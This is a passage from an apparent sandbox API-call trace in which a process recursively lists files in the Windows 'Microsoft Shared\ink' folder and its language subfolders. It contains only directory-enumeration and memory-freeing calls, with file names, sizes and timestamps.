hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0054.515] GetLastError () returned 0x12 [0054.515] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0054.515] GetLastError () returned 0x12 [0054.515] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0054.516] GetLastError () returned 0x12 [0054.516] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0054.516] GetLastError () returned 0x12 [0054.516] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0054.516] GetLastError () returned 0x12 [0054.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.516] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.516] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.516] GetLastError () returned 0x12 [0054.516] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.516] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.516] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.516] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0054.516] GetLastError () returned 0x12 [0054.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.517] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.517] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.517] GetLastError () returned 0x12 [0054.517] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.517] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.517] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.517] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0054.517] GetLastError () returned 0x12 [0054.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.517] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.517] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.517] GetLastError () returned 0x12 [0054.517] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.517] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.517] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.518] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0054.518] GetLastError () returned 0x12 [0054.518] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.518] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.518] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.518] GetLastError () returned 0x12 [0054.518] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.518] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.518] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.518] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0054.518] GetLastError () returned 0x12 [0054.518] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.518] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.518] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.519] GetLastError () returned 0x12 [0054.519] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.519] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.519] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.519] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0054.519] GetLastError () returned 0x12 [0054.519] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.519] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.519] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.519] GetLastError () returned 0x12 [0054.519] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.556] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.556] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.556] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0054.556] GetLastError () returned 0x12 [0054.556] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0054.556] GetLastError () returned 0x12 [0054.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.101] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.101] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.101] GetLastError () returned 0x12 [0055.101] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.101] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.101] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0055.101] GetLastError () returned 0x12 [0055.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.102] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, 